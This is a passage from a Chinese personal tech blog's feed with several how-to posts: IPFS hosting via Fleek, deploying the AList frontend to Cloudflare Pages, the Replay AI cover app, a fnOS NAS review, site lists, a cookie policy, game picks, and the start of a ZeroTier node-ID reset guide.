&lt;p&gt;用人话说,你可以把它看成一个共享网盘,你可以尝试下载&lt;a href=&quot;https://github.com/ipfs/ipfs-desktop&quot;&gt;IPFS - Desktop适用于有图形界面的系统&lt;/a&gt;&lt;a href=&quot;https://github.com/ipfs/kubo&quot;&gt;kubo - ipfs适用于CLI&lt;/a&gt;。然后启动IPFS你的设备将成为IPFS网络中的一个节点如图&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-17-10-47-08-image.ahrYAJRA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;使用IPFS能做什么&lt;/h3&gt;
&lt;p&gt;当你连接到IPFS网络后IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点等待分发让网络上的其他用户可以访问你的文件。在IPFS网络中访问文件通过IPFS网关&lt;code&gt;https://ipfs.io/ipfs/&lt;/code&gt; + &lt;code&gt;CID文件哈希&lt;/code&gt; 实现访问。比如: https://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4&lt;/p&gt;
&lt;p&gt;(这里使用 &lt;code&gt;ipfs.crossbell.io&lt;/code&gt; 这个CrossBell托管的IPFS网关来规避GFW封禁&lt;/p&gt;
&lt;h3&gt;这项技术真的有这么理想吗?&lt;/h3&gt;
&lt;p&gt;这项技术确实很理想,但是实际应用下来会遇到以下问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发现的节点太少&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可能会大量占用你的带宽&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些问题大部分原因都是因为这个网络太过于庞大而单个IPFS节点的权重很低尽管IPFS的分发一般在几小时内可以完成。但对于个人来说我们应当寻找一些服务商帮我们完成这些需求它们往往在IPFS网络中的权重更大进行文件更新的效率也很高同时也提供一些扩展服务比如自动化Git部署。而这篇文章使用的则是&lt;strong&gt;Fleek&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;关于Fleek&lt;/h3&gt;
&lt;p&gt;你可以简单理解为它权重很大有很多的IPFS节点经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播并且支持连接Git存储库部署项目和绑定你的域名&lt;/p&gt;
&lt;h3&gt;Fleek是否值得信赖&lt;/h3&gt;
&lt;p&gt;本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;xxx-xxx.fleek.app&lt;/code&gt;这个域名使用了Cloudflare CDN实测解析IP的数量为2不建议使用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-17-11-01-49-image.CLaOlCbj.webp&quot; alt=&quot;&quot; /&gt;这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值当你的网站改动后你的CID会发生变化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绑定自定义域名来访问这将会使用亚马逊的CDN并且自动映射CID实测解析IP数量超过30并且速度很快&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
注意任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-17-11-07-40-image.DIP3G01a.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尽管显示了IPFS的文件浏览界面但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的实际上仍为中心化网络&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-17-11-08-44-image.B1UnfLNK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当你的设备已经连上IPFS网络后所有流量将使用P2P去中心化所以你看到的访问地址实际上是本机地址&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;梳理一下思路我们可以用Fleek做到什么&lt;/h3&gt;
&lt;p&gt;让Fleek连接你的Git存储库通过构建命令构建静态网站并发布到IPFS同时兼容HTTP访问&lt;/p&gt;
&lt;h4&gt;正式开始&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往fleek.xyz通过MetaMask登录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;连接你的Git存储库输入构建命令等相关信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;部署网站&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绑定域名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最终访问&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;效果图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-17-11-31-33-image.CgP2WYNk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;拓展一下我们还可以通过IPFS技术做什么域名已弃用&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建一个巨大的图床,已经投入使用,参见: https://pic.onani.cn (原理:请求 https://ipfs-pic.onani.cn 获取图片列表随机选择使用JS展示&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-17-11-34-44-image.9qXafEfa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无需再自托管任何图片已经投入使用本博客所有图片都使用IPFS存储&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;理论上你可以将任何占用存储的服务上传到IPFS实现存算分离&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>教你把AList的前端部署到CF Pages让你的AList秒加载</title><link>https://blog.acofork.com/posts/alist-web/</link><guid isPermaLink="true">https://blog.acofork.com/posts/alist-web/</guid><description>将AList Web部署到CF Pages可以显著提升访问者的浏览体验因为静态资源都在CF的边缘节点而后端使用API交互而不是由源服务器路由所有流量既能减轻源服务器的负载又能使用CF Pages的不回源优势一箭双雕</description><pubDate>Tue, 15 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前情提要&lt;a href=&quot;https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;本教程&lt;strong&gt;不是 AList 的无服务器部署&lt;/strong&gt;,仅将前端页面部署到 Cloudflare Pages这样用户就能很快从 cf 的边缘节点拉取前端文件,而不用 cf 回源,提高浏览体验,后端仍然需要一台开放到公网的服务器部署 AList无公网服务器可使用 Cloudflare Tunnels&lt;/p&gt;
&lt;h3&gt;首先保证你的后端服务器支持v4v6双栈访问&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;使用Cloudflare Tunnel套cf&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;分别设置A和AAAA解析麻烦如果你的IP很快那其实可以不用前后端分离暴露源站的前后端分离也不能避免被DDoS因为你的源站会在HTTP报文中暴露&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;然后开始正式将AList前端部署到Cloudflare Pages&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fork仓库&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alist-org/alist-web&quot;&gt;https://github.com/alist-org/alist-web&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更改项目根目录的&lt;code&gt;env.production&lt;/code&gt;文件为你的后端服务器地址&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/6f2871ca5d35e1e974d89611835f3a2c7fd205e7.Dq5O-2Dm.webp&quot; alt=&quot;QmduQJq3TydzvLzBn47zLxp2MR1iD2sxm67EzFUFuEBvQa.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将仓库克隆到本地,需要安装&lt;a href=&quot;https://git-scm.com/&quot;&gt;Git&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;使用SSH需要持有你的Github SSH私钥
git clone git@github.com:你的用户名/你Fork的仓库
使用HTTPSNot Use Magic有概率SSL握手失败
git clone git@github.com:你的用户名/你Fork的仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;下载汉化包:&lt;a href=&quot;https://alist.onani.cn/guest/alist_Zh-CN&quot;&gt;AcoFork 的网盘&lt;/a&gt;&lt;a href=&quot;https://crowdin.com/project/alist/zh-CN&quot;&gt;Crowdin - 需要登录&lt;/a&gt;&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/68d31e9797edfc3c1d8a72386ebf3a643d117ce6.C-TGjdFC.webp&quot; alt=&quot;QmXVpMc7BqbXv9EaAbeptsrnhYLinvQQsu1btBE3VvDixa.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;解压,将&lt;code&gt;alist (zh-CN)\src\lang&lt;/code&gt;里面的&lt;code&gt;Zh-CN&lt;/code&gt;文件夹复制到仓库下&lt;code&gt;src/lang&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;编辑根目录的&lt;code&gt;.gitignore&lt;/code&gt;,添加一行&lt;code&gt;!/src/lang/zh-CN/&lt;/code&gt;确保文件不被忽略&lt;/li&gt;
&lt;li&gt;下载&lt;a href=&quot;https://nodejs.org/zh-cn&quot;&gt;Nodejs&lt;/a&gt;。在根目录打开终端,生成中文需要的文件:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;安装cnpm
npm install -g cnpm --registry=https://registry.npmmirror.com
安装依赖:
cnpm install --legacy-peer-deps
生成中文需要的文件:
node .\scripts\i18n.mjs
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;将更改提交到暂存区并提交到远程仓库,在根目录打开终端&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;git add . //将更改提交到暂存区
git commit -m 添加中文 //发布提交
git push -f //强制将更改提交到远程仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;进入&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare 仪表盘&lt;/a&gt;,进入 Workers 和 Pages 页面&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/49ccd51771082fdc94eecb270caf987d257cd987.xJ72EQik.webp&quot; alt=&quot;QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;创建一个 Pages选择连接 Git 存储库&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/9c4b9ff38d3c8810007ffe33c1a0f98cdd84b92e.DIyUZEcp.webp&quot; alt=&quot;QmZXerKv9PVxxscAe4w4LEfAaKfiScPQEKh1UroXnCeAUr.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;选择你的存储库,开始设置&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/fb97b5148c3811590609a0b85c6c1ee3c451853d.B4HKD5ic.webp&quot; alt=&quot;QmNdSGQrJtoqDnBx8pgDrtcfmUUfVBS9xdrN4xLgyPjyXE.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;构建命令输入:&lt;code&gt;pnpm install &amp;amp;&amp;amp; pnpm build&lt;/code&gt;,构建输出目录选择&lt;code&gt;/dist&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/c4300a94ccb16fe1383c721cbc83d1a71420e340.D1asUU03.webp&quot; alt=&quot;QmbhPdbE8f1zLKvWA6aEGJtZhmecRMVZiQbx6Zx1Lecp7J.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;等待 Cloudflare 构建结束,为 Pages 绑定自定义域&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/d27136b31d759898fe06041f12e7a07f07bd06b0.oj-CmK_s.webp&quot; alt=&quot;QmTMphu61uUF9XefBAVDVf19Jm1vLVUhhXQ9PXABy7hUpK.webp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问自定义域,查看 AList 是否正常&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/345df496620a9d3faf0eceeb773813bc9ac98375.BXToVDrd.webp&quot; alt=&quot;QmT8GLcaxtabhifKNL8kczEtozmNvdyhzJ823RfBrcFdpm.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;定制 AList&lt;a href=&quot;https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%AE%9A%E5%88%B6-alist&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;我们都知道 AList 支持自定义头部和内容,但是因为 Cloudflare Pages 是一个静态页面,所以我们采用硬编码方式,直接将需要自定义的内容写入仓库根目录的&lt;code&gt;index.html&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/c3ff113558b368da9a7aeb70f70b978f49d0eb7a.CkjrCEz9.webp&quot; alt=&quot;Qmd47pgFsyh28NjhkLiCPPbf7iasXMWvAvZDupH8QspG64.webp&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;编辑根目录的&lt;code&gt;index.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将更改提交到暂存区并提交到远程仓库,在根目录打开终端&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;git add . //将更改提交到暂存区
git commit -m 你的提交摘要 //发布提交
git push -f //强制将更改提交到远程仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Cloudflare Pages 会自动重新构建,等待新网页构建完成即可&lt;br /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/863e5bb3ef65ec2a0af03303dd3afe13fb8dd8d4.BpoaXW7A.webp&quot; alt=&quot;QmNZemsDHz5QLxW3V2eANghmVkfBccEpe5vMAWUCLik4o6.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;疑难解答&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;如果你遇到构建错误找不到solid-route/src的情况可以尝试查看你fork的仓库通过本地拉取下来后根目录的 &lt;code&gt;solid-route&lt;/code&gt; 文件夹是不是空的,如果是,请前往 https://github.com/alist-org/alist-web 手动将 &lt;code&gt;solid-route&lt;/code&gt; 文件夹里的内容搬到你仓库中,然后尝试重新构建&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>傻瓜式AI翻唱软件Replay选歌选模型然后CREATE SONG</title><link>https://blog.acofork.com/posts/replay/</link><guid isPermaLink="true">https://blog.acofork.com/posts/replay/</guid><description>Replay是一个自动化的AI翻唱软件用户仅需要提供想要翻唱的歌和RVC模型Replay会自动进行人声分离并生成AI翻唱音频对于新手来说十分友好</description><pubDate>Tue, 15 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;AI翻唱仅需两步&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.tryreplay.io/&quot;&gt;Replay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)&lt;/a&gt;下载Replay&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开Replay首先根据引导下载数据包约11G。然后根据图片操作选择歌曲和模型最后点击 &lt;code&gt;CREATE SONG&lt;/code&gt; 即可!&lt;img src=&quot;https://blog.acofork.com/_astro/59f2cc973405b81324f0472f5309ff6efa682ace.CK4lHn90.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-15-16-40-07-image.BJeFWEob.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>飞牛NAS玩机体验</title><link>https://blog.acofork.com/posts/fnos/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fnos/</guid><description>飞牛NAS系统是一个现代的开源的NAS系统。影视刮削在国内属于TOP1并且刚需的Docker软件也功能全面易用博主本人也在使用</description><pubDate>Mon, 14 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;吸引我的东西&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;影视刮削飞快薄纱Plex几条街。通过&lt;a href=&quot;/autobangumi&quot;&gt;AutoBangumi&lt;/a&gt;可以完美自动追番+刮削一条龙服务。偶尔会有不准,但可以手动匹配,数据源来自&lt;a href=&quot;https://www.themoviedb.org/&quot;&gt;TMDB&lt;/a&gt;&lt;a href=&quot;https://www.imdb.com/&quot;&gt;IMDB&lt;/a&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/f1bd7089efdf00097d5474ef967a62dcfca42e98.eK-Hz5MM.webp&quot; alt=&quot;QmbNXd4FJ8FM8mwkKxJNdBoNbvhawJ2HdSvW5tFUt3o4ub.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;相册可以通过手机APP自动备份支持仅备份图片可以多用户使用存储互不干扰也可以设置要共享的图片
&lt;img src=&quot;https://blog.acofork.com/_astro/2f9981f8397cc1278807ed28f8a2e15954868fec.C4WfFdBh.webp&quot; alt=&quot;QmeLJ7in4xcokPWUgkkSobDLUTrFrXep2o38qUXQ1njQR9.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;飞牛NAS在安装的时候会叫你选择安装盘然后会将安装盘的一部分空间默认为64GB作为系统分区其余空间可用于创建存储空间但是系统盘不能和别的盘组存储池只能单独建存储池
&lt;img src=&quot;https://blog.acofork.com/_astro/6403ef19d941abdc93d8c7da01364a8983c98109.DBT55HsQ.webp&quot; alt=&quot;QmNfRbvHu1fuYoincACcP2MG4yV4pgRni3rb4Y9J7uw4FW.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;应用商店安装的软件需要先授予目录访问权限应用才能读取目录无论是原生还是Docker应用
&lt;img src=&quot;https://blog.acofork.com/_astro/79af3b25d8b677b2718c953c0d431ead2f137e1d.Dn_dIhiL.webp&quot; alt=&quot;QmP4unAVra1zy7gkjEzSCYEDAJMMe1BVWPKoVyjYv8b9Ho.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发行版为Debian 12。根目录为系统分区的空间/vol1 为存储空间1的空间 /vol2 为存储空间2的空间。推荐使用&lt;a href=&quot;https://onani.cn/RaiDrive&quot;&gt;RaiDrive&lt;/a&gt;&lt;a href=&quot;/SSHFS&quot;&gt;SSHFS&lt;/a&gt;挂载Linux目录到Windows
&lt;img src=&quot;https://blog.acofork.com/_astro/d4ec6f87893f4af5d7eedb2e2a19a784fd6c6f92.DqV-tGVc.webp&quot; alt=&quot;QmWMQHNpJUUPg9B1Hdw2zmwLx9q6bcS52nUFiB3P9iYvU9.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SSH需要自己开账密为NAS管理员账密建议登上之后改为仅密钥登录参见&lt;a href=&quot;https://www.runoob.com/w3cnote/set-ssh-login-key.html&quot;&gt;设置 SSH 通过密钥登录&lt;/a&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/9f92130465ab62e912b7404266febc7212e2125b.CojHATPo.webp&quot; alt=&quot;QmTk3va2NCbYTcVewVjuqjGx6MwMwiUnManrNwxvEq4SBR.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;各网卡测试&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;品牌&lt;/th&gt;
&lt;th&gt;是否免驱&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Realtek GBE Family r8168&lt;/td&gt;
&lt;td&gt;有线&lt;/td&gt;
&lt;td&gt;Realtek瑞昱&lt;/td&gt;
&lt;td&gt;否,需要自行安装驱动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Realtek 8852BE&lt;/td&gt;
&lt;td&gt;无线&lt;/td&gt;
&lt;td&gt;Realtek瑞昱&lt;/td&gt;
&lt;td&gt;否,需要自行安装驱动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel AC3160&lt;/td&gt;
&lt;td&gt;无线&lt;/td&gt;
&lt;td&gt;Intel英特尔&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USB有线网卡&lt;/td&gt;
&lt;td&gt;有线&lt;/td&gt;
&lt;td&gt;Realtek瑞昱&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;各存储模式区别&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模式&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;是否能扩容&lt;/th&gt;
&lt;th&gt;是否能换盘&lt;/th&gt;
&lt;th&gt;容灾&lt;/th&gt;
&lt;th&gt;是否能热备&lt;/th&gt;
&lt;th&gt;是否能修改存储模式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;将物理硬盘的一部分或者全部作为一个存储池,不可扩容,仅能单盘创建这个模式&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;可转为RAID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linear&lt;/td&gt;
&lt;td&gt;将一个或多个物理硬盘的一部分或者全部作为一个存储池,可扩容&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RAID类&lt;/td&gt;
&lt;td&gt;自行使用搜索引擎搜索,更详细&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;td&gt;未测试&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol&gt;
&lt;li&gt;NAS迅雷内测码迅雷牛通&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>其他网站</title><link>https://blog.acofork.com/posts/other-sites/</link><guid isPermaLink="true">https://blog.acofork.com/posts/other-sites/</guid><description>AcoFork 的其他网站</description><pubDate>Fri, 01 Jan 1999 19:25:08 GMT</pubDate><content:encoded>&lt;p&gt;::url{href=&quot;https://cover.acofork.com&quot;}
::url{href=&quot;https://http.acofork.com&quot;}
::url{href=&quot;https://pic1.acofork.com&quot;}
::url{href=&quot;https://gallery.acofork.com&quot;}
::url{href=&quot;https://img.072103.xyz&quot;}
::url{href=&quot;https://eopfapi.acofork.com/pic&quot;}
::url{href=&quot;https://eoddos.2x.nz&quot;}
::url{href=&quot;https://u.2x.nz&quot;}
::url{href=&quot;https://e3.2x.nz&quot;}
::url{href=&quot;https://pan.2x.nz&quot;}
::url{href=&quot;https://nas.acofork.com&quot;}
::url{href=&quot;https://vw.acofork.com&quot;}&lt;/p&gt;
</content:encoded></item><item><title>隐私政策</title><link>https://blog.acofork.com/posts/privacy-policy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/privacy-policy/</guid><description>本隐私政策适用于AcoFork Blog以下简称“我们”</description><pubDate>Fri, 01 Jan 1999 03:20:15 GMT</pubDate><content:encoded>&lt;h1&gt;All Cookies&lt;/h1&gt;
&lt;h3&gt;Strictly necessary cookies必要的cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Umami收集站点的基本访问情况并对外显示浏览量由本站直接提供&lt;/li&gt;
&lt;li&gt;Giscus提供评论功能由 Github 提供&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Functionality cookies功能性cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tracking cookies追蹤cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Google Analytics收集站点访问情况由 Google 提供&lt;/li&gt;
&lt;li&gt;Microsoft Clarity收集站点访问情况由 Microsoft 提供&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Targeting and advertising cookies定位和廣告cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Google Adsense提供广告服务由 Google 提供&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;latest update: 2026/01/30&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Gal</title><link>https://blog.acofork.com/posts/gal/</link><guid isPermaLink="true">https://blog.acofork.com/posts/gal/</guid><pubDate>Fri, 01 Jan 1999 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;KARAKARA&lt;/h1&gt;
&lt;p&gt;有美少女的神秘问话:“你的尾巴怎么长在前面“
我草 还有2&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/gal.BbrV8eY3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Black Souls&lt;/h1&gt;
&lt;p&gt;朋友在玩,感觉这游戏不一般
DLSite买别在Steam买锁日区需日本节点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/gal-1.Tj4ujRoQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;小小的身影,重叠的内心&lt;/h1&gt;
&lt;p&gt;小萝莉,无需多言&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/gal-2.BlY2fPA4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;永恒与星辰与日常&lt;/h1&gt;
&lt;p&gt;B l u e A r c h i v e
有Demo完整版还没&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/gal-3.CMQrV74O.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;カタネガイ(已上线)&lt;/h1&gt;
&lt;p&gt;白毛红瞳,无需多言&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/gal-4.CtbOY_cS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Witches spiritual home&lt;/h1&gt;
&lt;p&gt;养胃了
&lt;strong&gt;玩后感&lt;/strong&gt; 不赖,但是汉化依托&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/gal-5.BNwnqZ0m.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录</title><link>https://blog.acofork.com/posts/record/</link><guid isPermaLink="true">https://blog.acofork.com/posts/record/</guid><description>一些记录,不定时更新</description><pubDate>Fri, 01 Jan 1999 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;zt重置设备ID&lt;/h1&gt;
&lt;p&gt;在 ZeroTier 中,如果你通过克隆 VM 或复制系统镜像导致 设备 IDNode ID重复需要重置设备 ID。ZeroTier 的设备 ID 是基于本机生成的私钥,无法在软件内直接修改,但可以通过以下方法重置:&lt;/p&gt;
&lt;p&gt;方法 1在 Linux / Debian 上重置&lt;/p&gt;
&lt;p&gt;停止 ZeroTier 服务:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl stop zerotier-one
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除本地身份文件Node ID&lt;/p&gt;
